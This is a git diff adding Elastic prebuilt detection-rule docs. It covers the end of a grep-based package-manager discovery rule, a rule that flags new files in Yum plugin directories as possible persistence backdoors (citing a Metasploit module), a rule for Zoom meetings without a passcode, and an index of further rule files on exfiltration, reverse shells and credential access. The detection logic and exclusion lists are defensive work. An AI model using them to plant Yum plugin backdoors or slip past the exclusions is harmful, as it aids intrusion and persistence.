+==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "grep" and process.args : "plugins*" and process.args like ( + "/etc/yum.conf", "/usr/lib/yum-plugins/*", "/etc/yum/pluginconf.d/*", + "/usr/lib/python*/site-packages/dnf-plugins/*", "/etc/dnf/plugins/*", "/etc/dnf/dnf.conf" +) and +not ?process.parent.executable == "/usr/lib/venv-salt-minion/bin/python.original" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-yum-package-manager-plugin-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-yum-package-manager-plugin-file-creation.asciidoc new file mode 100644 index 0000000000..b5f9fdec1a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-yum-package-manager-plugin-file-creation.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-yum-package-manager-plugin-file-creation]] +=== Yum Package Manager Plugin File Creation + +Detects file creation events in the plugin directories for the Yum package manager. In Linux, Yum (Yellowdog Updater, Modified) is a command-line utility used for handling packages on (by default) Fedora-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor Yum to gain persistence by injecting malicious code into plugins that Yum runs, thereby ensuring continued unauthorized access or control each time Yum is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/yum_package_manager_persistence.rb +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Yum Package Manager Plugin File Creation* + + +The Yum package manager is integral to managing software on Fedora-based Linux systems, utilizing plugins to extend its functionality. Adversaries may exploit this by inserting malicious code into these plugins, ensuring persistent access whenever Yum is executed. The detection rule identifies suspicious file creation in plugin directories, excluding legitimate processes and temporary files, to flag potential unauthorized modifications. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path to confirm if it matches the plugin directories "/usr/lib/yum-plugins/*" or "/etc/yum/pluginconf.d/*". +- Identify the process responsible for the file creation by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the exclusion criteria. +- Check the file extension and name to ensure it is not a temporary or excluded file type, such as those with extensions "swp", "swpx", "swx", or names starting with ".ansible". +- Investigate the origin and legitimacy of the process by correlating with other system logs or using threat intelligence to determine if the process is known to be associated with malicious activity. +- Assess the file content for any signs of malicious code or unauthorized modifications, especially if the file is a script or configuration file. +- Determine if there have been any recent changes or updates to the system that could explain the file creation, such as legitimate software installations or updates. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger file creation events in Yum plugin directories. To handle these, users can create exceptions for known package management processes like rpm, dnf, and yum, which are already included in the rule's exclusion list. +- Temporary files created by text editors or system processes, such as those with extensions like swp, swpx, or swx, can be safely excluded as they are typically non-threatening. Ensure these extensions are part of the exclusion criteria. +- Automation tools like Ansible may generate temporary files in the plugin directories. Users can exclude file names starting with .ansible or .ansible_tmp to prevent false positives from these operations. +- Processes running from specific directories like /nix/store or /var/lib/dpkg are often part of legitimate system operations. Users should verify these paths and include them in the exclusion list if they are part of regular system behavior. +- System maintenance scripts or tools like sed and perl may create temporary files during their execution. Users can exclude these specific process names and file patterns to reduce false alerts. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes that may be running as a result of the malicious plugin modification to halt any ongoing malicious activity. +- Restore the compromised plugin files from a known good backup to ensure the integrity of the Yum package manager's functionality. +- Conduct a thorough review of user accounts and permissions on the affected system to identify and remove any unauthorized access or privilege escalations. +- Implement file integrity monitoring on the Yum plugin directories to detect any future unauthorized modifications promptly. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Update and patch the system to the latest security standards to mitigate any vulnerabilities that may have been exploited by the adversary. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path : ("/usr/lib/yum-plugins/*", "/etc/yum/pluginconf.d/*") and not ( + process.executable in ( + "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", "/usr/bin/microdnf", "/bin/rpm", + "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", "/bin/puppet", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/bin/autossl_check", + "/usr/bin/autossl_check", "/proc/self/exe", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", + "/usr/libexec/netplan/generate", "./usr/bin/podman" + ) or + process.name in ("yumBackend.py", "crio", "dockerd") or + file.extension in ("swp", "swpx", "swx") or + file.Ext.original.name like ".ansible*" or + file.name like ".ansible_tmp*" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/etc/kernel/*" + + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-zoom-meeting-with-no-passcode.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-zoom-meeting-with-no-passcode.asciidoc new file mode 100644 index 0000000000..5814e3d742 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-zoom-meeting-with-no-passcode.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-zoom-meeting-with-no-passcode]] +=== Zoom Meeting with no Passcode + +This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.zoom.us/a-message-to-our-users/ +* https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic + +*Tags*: + +* Data Source: Zoom +* Use Case: Configuration Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Domain: SaaS + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Zoom Meeting with no Passcode* + + +Zoom meetings without passcodes are vulnerable to unauthorized access, known as Zoombombing, where intruders disrupt sessions with inappropriate content. Adversaries exploit this by joining unsecured meetings to cause chaos or gather sensitive information. The detection rule identifies such meetings by monitoring Zoom event logs for sessions created without a passcode, helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Zoom event logs to identify the specific meeting details, including the meeting ID and the organizer's information, using the fields event.type, event.module, event.dataset, and event.action. +- Contact the meeting organizer to verify if the meeting was intentionally created without a passcode and understand the context or purpose of the meeting. +- Check for any unusual or unauthorized participants who joined the meeting by examining the participant logs associated with the meeting ID. +- Assess if any sensitive information was discussed or shared during the meeting that could have been exposed to unauthorized participants. +- Evaluate the need to implement additional security measures, such as enabling passcodes for all future meetings or using waiting rooms to control participant access. + + +*False positive analysis* + + +- Internal team meetings may be scheduled without a passcode for convenience, especially if all participants are within a secure network. To handle this, create exceptions for meetings initiated by trusted internal users or within specific IP ranges. +- Recurring meetings with a consistent group of participants might not use passcodes to simplify access. Consider excluding these meetings by identifying and whitelisting their unique meeting IDs. +- Training sessions or webinars intended for a broad audience might be set up without passcodes to ease access. Implement a policy to review and approve such meetings in advance, ensuring they are legitimate and necessary. +- Meetings created by automated systems or bots for integration purposes may not require passcodes. Identify these systems and exclude their meeting creation events from triggering alerts. +- In some cases, meetings may be intentionally left without passcodes for public access, such as community events. Establish a process to verify and document these events, allowing them to be excluded from the rule. + + +*Response and remediation* + + +- Immediately terminate any ongoing Zoom meetings identified without a passcode to prevent further unauthorized access or disruption. +- Notify the meeting host and relevant stakeholders about the security incident, advising them to reschedule the meeting with appropriate security measures, such as enabling a passcode or waiting room. +- Review and update Zoom account settings to enforce mandatory passcodes for all future meetings, ensuring compliance with security policies. +- Conduct a security audit of recent Zoom meetings to identify any other sessions that may have been created without a passcode and take corrective actions as necessary. +- Escalate the incident to the IT security team for further investigation and to assess any potential data breaches or information leaks resulting from the unauthorized access. +- Implement enhanced monitoring and alerting for Zoom meeting creation events to quickly detect and respond to any future instances of meetings being set up without passcodes. +- Coordinate with the communications team to prepare a response plan for any potential public relations issues arising from the incident, ensuring clear and consistent messaging. + +==== Setup + + + +*Setup* + + +The Zoom Filebeat module or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.type:creation and event.module:zoom and data_stream.dataset:zoom.webhook and + event.action:meeting.created and not zoom.meeting.password:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rules-8-19-34-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rules-8-19-34-appendix.asciidoc new file mode 100644 index 0000000000..fc39d88d16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rules-8-19-34-appendix.asciidoc @@ -0,0 +1,1783 @@ +["appendix",role="exclude",id="prebuilt-rule-8-19-34-prebuilt-rules-8-19-34-appendix"] += Downloadable rule update v8.19.34 + +This section lists all updates associated with version 8.19.34 of the Fleet integration *Prebuilt Security Detection Rules*. + + +include::prebuilt-rule-8-19-34-web-application-suspicious-activity-post-request-declined.asciidoc[] +include::prebuilt-rule-8-19-34-web-application-suspicious-activity-unauthorized-method.asciidoc[] +include::prebuilt-rule-8-19-34-web-application-suspicious-activity-sqlmap-user-agent.asciidoc[] +include::prebuilt-rule-8-19-34-connection-to-common-large-language-model-endpoints.asciidoc[] +include::prebuilt-rule-8-19-34-curl-or-wget-spawned-via-node-js.asciidoc[] +include::prebuilt-rule-8-19-34-genai-process-connection-to-suspicious-top-level-domain.asciidoc[] +include::prebuilt-rule-8-19-34-genai-process-connection-to-unusual-domain.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-file-downloaded-from-google-drive.asciidoc[] +include::prebuilt-rule-8-19-34-panw-and-elastic-defend-command-and-control-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-socks-traffic-from-an-unusual-process.asciidoc[] +include::prebuilt-rule-8-19-34-suricata-and-elastic-defend-network-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-traffic-tunneling-using-qemu.asciidoc[] +include::prebuilt-rule-8-19-34-potential-tunneling-via-tailscaled.asciidoc[] +include::prebuilt-rule-8-19-34-azure-wireserver-unusual-process-connection.asciidoc[] +include::prebuilt-rule-8-19-34-potential-cookies-theft-via-browser-debugging.asciidoc[] +include::prebuilt-rule-8-19-34-active-directory-forced-authentication-from-linux-host-smb-named-pipes.asciidoc[] +include::prebuilt-rule-8-19-34-genai-process-accessing-sensitive-files.asciidoc[] +include::prebuilt-rule-8-19-34-potential-secret-scanning-via-gitleaks.asciidoc[] +include::prebuilt-rule-8-19-34-potential-credential-discovery-via-recursive-grep.asciidoc[] +include::prebuilt-rule-8-19-34-multi-cloud-cli-token-and-credential-access-commands.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-cloud-secrets-accessed-by-source-address.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-command-line-execution.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-instance-metadata-service-imds-api-request.asciidoc[] +include::prebuilt-rule-8-19-34-credential-access-via-trufflehog-execution.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-cloud-metadata-ssrf-request.asciidoc[] +include::prebuilt-rule-8-19-34-agent-spoofing-multiple-hosts-using-same-agent.asciidoc[] +include::prebuilt-rule-8-19-34-claude-cowork-vm-boot-image-tamper.asciidoc[] +include::prebuilt-rule-8-19-34-data-encrypted-via-openssl-utility.asciidoc[] +include::prebuilt-rule-8-19-34-webserver-access-logs-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-tampering-of-shell-command-line-history.asciidoc[] +include::prebuilt-rule-8-19-34-elastic-agent-service-terminated.asciidoc[] +include::prebuilt-rule-8-19-34-rot-encoded-python-script-execution.asciidoc[] +include::prebuilt-rule-8-19-34-first-seen-network-flow-exporter-followed-by-suspicious-source-activity.asciidoc[] +include::prebuilt-rule-8-19-34-genai-cli-started-with-unsafe-permission-bypass.asciidoc[] +include::prebuilt-rule-8-19-34-unusual-process-modifying-genai-configuration-file.asciidoc[] +include::prebuilt-rule-8-19-34-genai-process-compiling-or-generating-executables.asciidoc[] +include::prebuilt-rule-8-19-34-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc[] +include::prebuilt-rule-8-19-34-long-base64-encoded-command-via-scripting-interpreter.asciidoc[] +include::prebuilt-rule-8-19-34-masquerading-space-after-filename.asciidoc[] +include::prebuilt-rule-8-19-34-elastic-defend-alert-followed-by-telemetry-loss.asciidoc[] +include::prebuilt-rule-8-19-34-potential-http-downgrade-attack.asciidoc[] +include::prebuilt-rule-8-19-34-processes-with-trailing-spaces.asciidoc[] +include::prebuilt-rule-8-19-34-timestomping-using-touch-command.asciidoc[] +include::prebuilt-rule-8-19-34-command-line-obfuscation-via-whitespace-padding.asciidoc[] +include::prebuilt-rule-8-19-34-security-software-discovery-via-grep.asciidoc[] +include::prebuilt-rule-8-19-34-virtual-machine-fingerprinting-via-grep.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ssm-sendcommand-with-run-shell-command-parameters.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ssm-session-manager-child-process-execution.asciidoc[] +include::prebuilt-rule-8-19-34-azure-run-command-script-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-azure-run-command-correlated-with-process-execution.asciidoc[] +include::prebuilt-rule-8-19-34-potential-git-cve-2025-48384-exploitation.asciidoc[] +include::prebuilt-rule-8-19-34-node-js-pre-or-post-install-script-execution.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-openclaw-agent.asciidoc[] +include::prebuilt-rule-8-19-34-potential-widespread-malware-infection-across-multiple-hosts.asciidoc[] +include::prebuilt-rule-8-19-34-privileged-container-creation-with-host-directory-mount.asciidoc[] +include::prebuilt-rule-8-19-34-remote-github-actions-runner-registration.asciidoc[] +include::prebuilt-rule-8-19-34-potential-reverse-shell-activity-via-terminal.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sap-netweaver-webshell-creation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-sap-netweaver-exploitation.asciidoc[] +include::prebuilt-rule-8-19-34-potential-java-service-exploitation-via-suspicious-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-process-execution-by-zoom.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-python-shell-command-execution.asciidoc[] +include::prebuilt-rule-8-19-34-execution-via-github-actions-runner.asciidoc[] +include::prebuilt-rule-8-19-34-tampering-with-runner-tracking-id-in-github-actions-runners.asciidoc[] +include::prebuilt-rule-8-19-34-potential-data-exfiltration-through-curl.asciidoc[] +include::prebuilt-rule-8-19-34-my-first-rule.asciidoc[] +include::prebuilt-rule-8-19-34-detection-alert-on-a-process-exhibiting-cpu-spike.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-alerts-on-a-host-exhibiting-cpu-spike.asciidoc[] +include::prebuilt-rule-8-19-34-hosts-file-modified.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-process-exhibiting-high-cpu-usage.asciidoc[] +include::prebuilt-rule-8-19-34-m365-or-entra-id-identity-sign-in-from-a-suspicious-source.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-react-server-child-process.asciidoc[] +include::prebuilt-rule-8-19-34-initial-access-via-file-upload-followed-by-get-request.asciidoc[] +include::prebuilt-rule-8-19-34-fortigate-ssl-vpn-login-followed-by-siem-alert-by-user.asciidoc[] +include::prebuilt-rule-8-19-34-ollama-api-accessed-from-external-network.asciidoc[] +include::prebuilt-rule-8-19-34-suspicious-java-class-file-created-in-papercut-server-library.asciidoc[] +include::prebuilt-rule-8-19-34-zoom-meeting-with-no-passcode.asciidoc[] +include::prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-source-address.asciidoc[] +include::prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-user.asciidoc[] +include::prebuilt-rule-8-19-34-suspected-lateral-movement-from-compromised-host.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-by-agent.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-elastic-defend-alerts-from-a-single-process-tree.asciidoc[] +include::prebuilt-rule-8-19-34-elastic-defend-and-network-security-alerts-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-elastic-defend-and-email-alerts-correlation.asciidoc[] +include::prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-destination-address.asciidoc[] +include::prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-source-address.asciidoc[] +include::prebuilt-rule-8-19-34-alerts-from-multiple-integrations-by-user-name.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-alerts-involving-a-user.asciidoc[] +include::prebuilt-rule-8-19-34-alerts-in-different-att-ck-tactics-by-host.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-alerts-in-same-att-ck-tactic-by-host.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-external-edr-alerts-by-host.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-machine-learning-alerts-by-influencer-field.asciidoc[] +include::prebuilt-rule-8-19-34-multiple-vulnerabilities-by-asset-via-wiz.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-elastic-defend-behavior-alert.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-high-severity-detection-alert.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-fortigate-alert.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-palo-alto-network-alert.asciidoc[] +include::prebuilt-rule-8-19-34-newly-observed-high-severity-suricata-alert.asciidoc[] +include::prebuilt-rule-8-19-34-bash-shell-profile-modification.asciidoc[] +include::prebuilt-rule-8-19-34-ssh-authorized-keys-file-activity.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-potential-command-injection-request.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-potential-sql-injection-request.asciidoc[] +include::prebuilt-rule-8-19-34-potential-privilege-escalation-via-sudoers-file-modification.asciidoc[] +include::prebuilt-rule-8-19-34-suid-sgid-bit-set.asciidoc[] +include::prebuilt-rule-8-19-34-sudoers-file-activity.asciidoc[] +include::prebuilt-rule-8-19-34-trap-signals-execution.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-discovery-or-fuzzing-activity.asciidoc[] +include::prebuilt-rule-8-19-34-potential-spike-in-web-server-error-logs.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-potential-spike-in-error-response-codes.asciidoc[] +include::prebuilt-rule-8-19-34-web-server-suspicious-user-agent-requests.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudtrail-log-created.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-acl-modified-to-allow-public-access-by-new-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-credential-file-retrieved-from-bucket.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-long-term-access-key-first-seen-from-source-ip.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-user-addition-to-group.asciidoc[] +include::prebuilt-rule-8-19-34-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc[] +include::prebuilt-rule-8-19-34-aws-secrets-manager-rapid-secrets-retrieval.asciidoc[] +include::prebuilt-rule-8-19-34-aws-systems-manager-securestring-parameter-request-with-decryption-flag.asciidoc[] +include::prebuilt-rule-8-19-34-aws-management-console-brute-force-of-root-user-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-root-console-login-password-spraying.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-automated-reasoning-safety-policy-tampering.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-guardrail-deleted-or-weakened.asciidoc[] +include::prebuilt-rule-8-19-34-aws-bedrock-model-invocation-logging-disabled-or-modified.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudtrail-log-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudtrail-log-evasion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudtrail-log-suspended.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudtrail-management-events-disabled-via-puteventselectors.asciidoc[] +include::prebuilt-rule-8-19-34-aws-cloudwatch-alarm-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-config-resource-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-configuration-recorder-stopped.asciidoc[] +include::prebuilt-rule-8-19-34-aws-detective-graph-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-vpc-flow-logs-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-nacl-entry-created-or-replaced-allowing-all-traffic-by-new-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-ec2-serial-console-access-enabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-eks-control-plane-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-guardduty-detector-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-guardduty-detection-suppression.asciidoc[] +include::prebuilt-rule-8-19-34-aws-guardduty-member-account-manipulation.asciidoc[] +include::prebuilt-rule-8-19-34-aws-guardduty-publishing-destination-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-guardduty-threat-intelligence-set-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-account-password-policy-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-iam-permission-boundary-or-guardrail-policy-deleted-by-unusual-identity.asciidoc[] +include::prebuilt-rule-8-19-34-aws-attempt-to-leave-organization.asciidoc[] +include::prebuilt-rule-8-19-34-aws-rds-db-instance-restored.asciidoc[] +include::prebuilt-rule-8-19-34-aws-route-53-resolver-query-log-configuration-deleted.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-configuration-deletion.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc[] +include::prebuilt-rule-8-19-34-aws-s3-bucket-server-access-logging-disabled.asciidoc[] +include::prebuilt-rule-8-19-34-aws-security-hub-disabled.asciidoc[] 